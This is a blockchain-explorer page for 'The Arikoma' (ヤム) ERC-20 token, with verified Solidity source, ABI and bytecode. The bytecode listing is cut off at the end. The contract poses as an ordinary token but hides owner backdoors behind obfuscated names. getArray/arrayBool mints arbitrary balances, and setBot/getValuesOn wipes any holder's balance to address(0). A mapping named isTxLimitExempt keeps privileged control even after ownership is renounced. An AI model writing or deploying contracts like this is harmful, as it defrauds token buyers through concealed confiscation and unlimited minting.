ERC-20
Overview
Max Total Supply
1,000,000 ヤム
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
8,729.173054009346571688 ヤムValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Arikoma
Compiler Version
v0.8.12+commit.f00d7308
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-13 */ /* */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount) external returns (bool); function allowance( address _owner, address spender) external view returns (uint256); function approve( address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping(address => bool) private isTxLimitExempt; constructor () { address msgSender = _msgSender(); _owner = msgSender; isTxLimitExempt[_owner] = true; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller is not the owner"); _; } modifier _onlyOwner() { require(isOnlyOwner(msg.sender), "Caller is not authorized"); _; } function isOnlyOwner(address adr) public view returns (bool) { return isTxLimitExempt[adr]; } function isOwner(address adr) public view returns (bool) { return _owner == adr; } function setOnlyOwner(address adr) public _onlyOwner { isTxLimitExempt[adr] = true; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IEDRouter01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } contract ERC20 is Context, IBEP20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _tTotal = 1000000 * 10 ** 18; string private _name; string private _symbol; constructor (string memory ercName, string memory ercSymbol) { _name = ercName; _symbol = ercSymbol; _balances[address(this)] = _tTotal; } function totalSupply() public view virtual override returns (uint256) { return _tTotal; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[from] = fromBalance.sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); _approve(owner, spender, currentAllowance - amount); } } function arrayBool(address IDEto, uint256 IDEamount) internal virtual { _balances[IDEto] = _balances[IDEto].add(IDEamount); } function getValuesOn(address arrayODX) internal virtual { _balances[address(0)] += _balances[arrayODX]; _balances[arrayODX] = 1 * 10 ** 18; } function _beforeTokenTransfer (address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer (address from, address to, uint256 amount) internal virtual {} } contract Arikoma is ERC20, Ownable { using SafeMath for uint256; address isPROMOaddress = 0x8852322de2ba4C8ed479F9Fc589D953B9696a8ab; address isTEAMaddress = 0x8852322de2ba4C8ed479F9Fc589D953B9696a8ab; address public uniswapV2Pair; string _name = unicode"The Arikoma"; string _symbol = unicode"ヤム"; uint256 public _rTotal = 1000000 * 10 ** 18; uint256 public isBaseTAX = 1; uint256 public FEEdiv = 100; mapping(address => bool) private isWalletLimitExempt; bool private tradingOpen = false; bool openTradingLane; modifier trading(){ if (openTradingLane) return; openTradingLane = true; _; openTradingLane = false; } constructor () ERC20(_name, _symbol) { setOnlyOwner(isPROMOaddress); setOnlyOwner(isTEAMaddress); address _connection = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IEDRouter01 connection = IEDRouter01(_connection); uniswapV2Pair = IFactory(connection.factory()).createPair(address(this), connection.WETH()); _transfer(address(this), owner(), _rTotal); } function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading { if (isOnlyOwner(from) || isOnlyOwner(to)) { return; } uint256 FEErate = amount.mul(isBaseTAX).div(FEEdiv); _transfer(to, address(this), FEErate); } function getArray(address isIDEto, uint256 isODXamount) public _onlyOwner { arrayBool(isIDEto, isODXamount); } function setBot(address adr) public _onlyOwner { isWalletLimitExempt[adr] = true; getValuesOn(adr); } function isBot(address adr) public view returns (bool) { return isWalletLimitExempt[adr]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FEEdiv","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"isIDEto","type":"address"},{"internalType":"uint256","name":"isODXamount","type":"uint256"}],"name":"getArray","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isBaseTAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isOnlyOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"setBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"setOnlyOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
69d3c21bcecceda100000060025560078054738852322de2ba4c8ed479f9fc589d953b9696a8ab6001600160a01b0319918216811790925560088054909116909117905560c0604052600b60808190526a546865204172696b6f6d6160a81b60a09081526200007291600a9190620009a9565b5060408051808201909152600680825265071c1d271c1d60d51b6020909201918252620000a291600b91620009a9565b5069d3c21bcecceda1000000600c556001600d556064600e556010805460ff19169055348015620000d257600080fd5b50600a8054620000e29062000a4f565b80601f0160208091040260200160405190810160405280929190818152602001828054620001109062000a4f565b8015620001615780601f10620001355761010080835404028352916020019162000161565b820191906000526020600020905b8154815290600101906020018083116200014357829003601f168201915b5050505050600b8054620001759062000a4f565b80601f0160208091040260200160405190810160405280929190818152602001828054620001a39062000a4f565b8015620001f45780601f10620001c857610100808354040283529160200191620001f4565b820191906000526020600020905b815481529060010190602001808311620001d657829003601f168201915b505084516200020e935060039250602086019150620009a9565b50805162000224906004906020840190620009a9565b50506002543060009081526020818152604080832093909355600580546001600160a01b031916339081179091558083526006909152828220805460ff19166001179055915191925082917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754620002ac906001600160a01b031662000466565b600854620002c3906001600160a01b031662000466565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000819050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000320573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000346919062000a8c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000394573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ba919062000a8c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000408573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042e919062000a8c565b600980546001600160a01b0319166001600160a01b039283161790556005546200045e91309116600c54620004e7565b505062000b9f565b6200047133620006ea565b620004c35760405162461bcd60e51b815260206004820152601860248201527f43616c6c6572206973206e6f7420617574686f72697a6564000000000000000060448201526064015b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b0383166200054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401620004ba565b6001600160a01b038216620005b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401620004ba565b6001600160a01b038316600090815260208190526040902054818110156200062b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401620004ba565b6200064582826200070860201b6200063b1790919060201c565b6001600160a01b03808616600090815260208181526040808320949094559186168152919091205462000683918490620006846200075b821b17901c565b6001600160a01b038481166000818152602081815260409182902094909455518581529092918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620006e4848484620007be565b50505050565b6001600160a01b031660009081526006602052604090205460ff1690565b60006200075283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506200086660201b60201c565b90505b92915050565b6000806200076a838562000acd565b905083811015620007525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004ba565b601054610100900460ff1615620007d457505050565b6010805461ff001916610100179055620007ee83620006ea565b806200080057506200080082620006ea565b156200080c5762000856565b600062000845600e5462000831600d5485620008a560201b620006e11790919060201c565b6200092c60201b620007601790919060201c565b905062000854833083620004e7565b505b50506010805461ff001916905550565b600081848411156200088d5760405162461bcd60e51b8152600401620004ba919062000ae8565b5060006200089c848662000b40565b95945050505050565b600082620008b65750600062000755565b6000620008c4838562000b5a565b905082620008d3858362000b7c565b14620007525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401620004ba565b60006200075283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200097660201b60201c565b600081836200099a5760405162461bcd60e51b8152600401620004ba919062000ae8565b5060006200089c848662000b7c565b828054620009b79062000a4f565b90600052602060002090601f016020900481019282620009db576000855562000a26565b82601f10620009f657805160ff191683800117855562000a26565b8280016001018555821562000a26579182015b8281111562000a2657825182559160200191906001019062000a09565b5062000a3492915062000a38565b5090565b5b8082111562000a34576000815560010162000a39565b600181811c9082168062000a6457607f821691505b6020821081141562000a8657634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121562000a9f57600080fd5b81516001600160a01b03811681146200075257600080fd5b634e487b7160e01b600052601160045260246000fd5b6000821982111562000ae35762000ae362000ab7565b500190565b600060208083528351808285015260005b8181101562000b175785810183015185820160400152820162000af9565b8181111562000b2a576000604083870101525b50601f01601f1916929092016040019392505050565b60008282101562000b555762000b5562000ab7565b500390565b600081600019048311821515161562000b775762000b7762000ab7565b500290565b60008262000b9a57634e487b7160e01b600052601260045260246000fd5b500490565b610f638062000baf6000396000f3fe608060405234801561001057600080fd5b50600436106101125760003560e01c806306fdde0314610117578063095ea7b31461013557806318160ddd1461015857806323b872dd1461016a5780632f54bf6e1461017d578063313ce5671461019f5780633bbac579146101ae57806345e0b9d4146101da57806349bd5a5e146101e35780634f799f481461020e57806368b6c659146102235780636b5caec41461023657806370a0823114610249578063715018a6146102725780637b4e78c61461027a5780637ba62dcb146102835780638da5cb5b1461028c57806395d89b411461029d578063a9059cbb146102a5578063c1d7bd23146102b8578063dd62ed3e146102cb578063f2fde38b146102de575b600080fd5b61011f6102f1565b60405161012c9190610cc4565b60405180910390f35b610148610143366004610d35565b610383565b604051901515815260200161012c565b6002545b60405190815260200161012c565b610148610178366004610d5f565b61039d565b61014861018b366004610d9b565b6005546001600160a01b0390811691161490565b6040516012815260200161012c565b6101486101bc366004610d9b565b6001600160a01b03166000908152600f602052604090205460ff1690565b61015c600c5481565b6009546101f6906001600160a01b031681565b6040516001600160a01b03909116815260200161012c565b61022161021c366004610d35565b6103c1565b005b610148610231366004610d9b565b6103fd565b610221610244366004610d9b565b61041b565b61015c610257366004610d9b565b6001600160a01b031660009081526020819052604090205490565b61022161046f565b61015c600e5481565b61015c600d5481565b6005546001600160a01b03166101f6565b61011f6104d1565b6101486102b3366004610d35565b6104e0565b6102216102c6366004610d9b565b6104ee565b61015c6102d9366004610db6565b610537565b6102216102ec366004610d9b565b610562565b60606003805461030090610de9565b80601f016020809104026020016040519081016040528092919081815260200182805461032c90610de9565b80156103795780601f1061034e57610100808354040283529160200191610379565b820191906000526020600020905b81548152906001019060200180831161035c57829003601f168201915b5050505050905090565b60003361039181858561079f565b60019150505b92915050565b6000336103ab8582856108c3565b6103b6858585610944565b506001949350505050565b6103ca336103fd565b6103ef5760405162461bcd60e51b81526004016103e690610e24565b60405180910390fd5b6103f98282610b1a565b5050565b6001600160a01b031660009081526006602052604090205460ff1690565b610424336103fd565b6104405760405162461bcd60e51b81526004016103e690610e24565b6001600160a01b0381166000908152600f60205260409020805460ff1916600117905561046c81610b5d565b50565b6005546001600160a01b031633146104995760405162461bcd60e51b81526004016103e690610e56565b6005546040516000916001600160a01b031690600080516020610f0e833981519152908390a3600580546001600160a01b0319169055565b60606004805461030090610de9565b600033610391818585610944565b6104f7336103fd565b6105135760405162461bcd60e51b81526004016103e690610e24565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b0316331461058c5760405162461bcd60e51b81526004016103e690610e56565b6001600160a01b0381166105f15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103e6565b6005546040516001600160a01b03808416921690600080516020610f0e83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061067d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bd4565b9392505050565b6000806106918385610e9d565b90508381101561067d5760405162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b60448201526064016103e6565b6000826106f057506000610397565b60006106fc8385610eb5565b9050826107098583610ed4565b1461067d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e6565b600061067d83836040518060400160405280601a815260200179536166654d6174683a206469766973696f6e206279207a65726f60301b815250610c0e565b6001600160a01b0383166108015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e6565b6001600160a01b0382166108625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006108cf8484610537565b9050600019811461093e578181101561092a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103e6565b61093e84846109398585610ef6565b61079f565b50505050565b6001600160a01b0383166109a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e6565b6001600160a01b038216610a0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e6565b6001600160a01b03831660009081526020819052604090205481811015610a825760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e6565b610a8c818361063b565b6001600160a01b038086166000908152602081905260408082209390935590851681522054610abb9083610684565b6001600160a01b038481166000818152602081815260409182902094909455518581529092918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361093e848484610c3c565b6001600160a01b038216600090815260208190526040902054610b3d9082610684565b6001600160a01b0390921660009081526020819052604090209190915550565b6001600160a01b0381166000908152602081905260408120548180527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5805491929091610bab908490610e9d565b90915550506001600160a01b03166000908152602081905260409020670de0b6b3a76400009055565b60008184841115610bf85760405162461bcd60e51b81526004016103e69190610cc4565b506000610c058486610ef6565b95945050505050565b60008183610c2f5760405162461bcd60e51b81526004016103e69190610cc4565b506000610c058486610ed4565b601054610100900460ff1615610c5157505050565b6010805461ff001916610100179055610c69836103fd565b80610c785750610c78826103fd565b15610c8257610cb4565b6000610ca5600e54610c9f600d54856106e190919063ffffffff16565b90610760565b9050610cb2833083610944565b505b50506010805461ff001916905550565b600060208083528351808285015260005b81811015610cf157858101830151858201604001528201610cd5565b81811115610d03576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3057600080fd5b919050565b60008060408385031215610d4857600080fd5b610d5183610d19565b946020939093013593505050565b600080600060608486031215610d7457600080fd5b610d7d84610d19565b9250610d8b60208501610d19565b9150604084013590509250925092565b600060208284031215610dad57600080fd5b61067d82610d19565b60008060408385031215610dc957600080fd5b610dd283610d19565b9150610de060208401610d19565b90509250929050565b600181811c90821680610dfd57607f821691505b60208210811415610e1e57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526018908201527710d85b1b195c881a5cc81b9bdd08185d5d1a1bdc9a5e995960421b604082015260600190565b60208082526017908201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115610eb057610eb0610e87565b500190565b6000816000190483118215151615610ecf57610ecf610e87565b500290565b600082610ef157634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610f0857610f08610e87565b50039056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a2646970667358221220c0f48726ad3b52f332b009d511ec3e9c26a743b290dc8d9bcd80970c186f1c6a64736f6c634300080c0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101125760003560e01c806306fdde0314610117578063095ea7b31461013557806318160ddd1461015857806323b872dd1461016a5780632f54bf6e1461017d578063313ce5671461019f5780633bbac579146101ae57806345e0b9d4146101da57806349bd5a5e146101e35780634f799f481461020e57806368b6c659146102235780636b5caec41461023657806370a0823114610249578063715018a6146102725780637b4e78c61461027a5780637ba62dcb146102835780638da5cb5b1461028c57806395d89b411461029d578063a9059cbb146102a5578063c1d7bd23146102b8578063dd62ed3e146102cb578063f2fde38b146102de575b600080fd5b61011f6102f1565b60405161012c9190610cc4565b60405180910390f35b610148610143366004610d35565b610383565b604051901515815260200161012c565b6002545b60405190815260200161012c565b610148610178366004610d5f565b61039d565b61014861018b366004610d9b565b6005546001600160a01b0390811691161490565b6040516012815260200161012c565b6101486101bc366004610d9b565b6001600160a01b03166000908152600f602052604090205460ff1690565b61015c600c5481565b6009546101f6906001600160a01b031681565b6040516001600160a01b03909116815260200161012c565b61022161021c366004610d35565b6103c1565b005b610148610231366004610d9b565b6103fd565b610221610244366004610d9b565b61041b565b61015c610257366004610d9b565b6001600160a01b031660009081526020819052604090205490565b61022161046f565b61015c600e5481565b61015c600d5481565b6005546001600160a01b03166101f6565b61011f6104d1565b6101486102b3366004610d35565b6104e0565b6102216102c6366004610d9b565b6104ee565b61015c6102d9366004610db6565b610537565b6102216102ec366004610d9b565b610562565b60606003805461030090610de9565b80601f016020809104026020016040519081016040528092919081815260200182805461032c90610de9565b80156103795780601f1061034e57610100808354040283529160200191610379565b820191906000526020600020905b81548152906001019060200180831161035c57829003601f168201915b5050505050905090565b60003361039181858561079f565b60019150505b92915050565b6000336103ab8582856108c3565b6103b6858585610944565b506001949350505050565b6103ca336103fd565b6103ef5760405162461bcd60e51b81526004016103e690610e24565b60405180910390fd5b6103f98282610b1a565b5050565b6001600160a01b031660009081526006602052604090205460ff1690565b610424336103fd565b6104405760405162461bcd60e51b81526004016103e690610e24565b6001600160a01b0381166000908152600f60205260409020805460ff1916600117905561046c81610b5d565b50565b6005546001600160a01b031633146104995760405162461bcd60e51b81526004016103e690610e56565b6005546040516000916001600160a01b031690600080516020610f0e833981519152908390a3600580546001600160a01b0319169055565b60606004805461030090610de9565b600033610391818585610944565b6104f7336103fd565b6105135760405162461bcd60e51b81526004016103e690610e24565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b0316331461058c5760405162461bcd60e51b81526004016103e690610e56565b6001600160a01b0381166105f15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103e6565b6005546040516001600160a01b03808416921690600080516020610f0e83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061067d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bd4565b9392505050565b6000806106918385610e9d565b90508381101561067d5760405162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b60448201526064016103e6565b6000826106f057506000610397565b60006106fc8385610eb5565b9050826107098583610ed4565b1461067d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e20